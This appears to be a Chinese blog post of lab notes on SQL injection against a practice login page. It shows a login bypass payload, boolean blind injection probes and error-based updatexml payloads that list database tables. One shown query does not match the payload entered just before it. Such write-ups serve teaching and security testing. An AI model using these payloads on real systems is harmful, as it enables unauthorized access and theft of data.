账号密码登录界面

后台代码:
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

输入账号:Dumb 密码:Dumb2
SELECT username, password FROM users WHERE username='Dumb' and password='Dumb2' LIMIT 0,1

绕过登录:
输入账号:aaa 密码:1' or 1=1#
SELECT username, password FROM users WHERE username='aaa' and password='1' or 1=1#' LIMIT 0,1


Sql注入1:盲注
输入账号:Dumb 密码:Dumb' and length(database())=8#
SELECT username, password FROM users WHERE username='Dumb' and password='Dumb' and length(database())=8#' LIMIT 0,1

security

输入账号:Dumb 密码:Dumb' and ascii(substr(database(),1,1))=115#
SELECT username, password FROM users WHERE username='Dumb' and password='Dumb' and ascii(substr(database(),2,1))=115# LIMIT 0,1


Sql注入2:报错
输入账号:aaa 密码:aaa' and updatexml(1,concat(0x23,database()),1)#
SELECT username, password FROM users WHERE username='aaa' and password='aaa' and updatexml(1,concat(0x23,database()),1)#' LIMIT 0,1

输入账号:aaa 密码:aaa' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
 

猜你喜欢

转载自blog.csdn.net/wyj____/article/details/81179971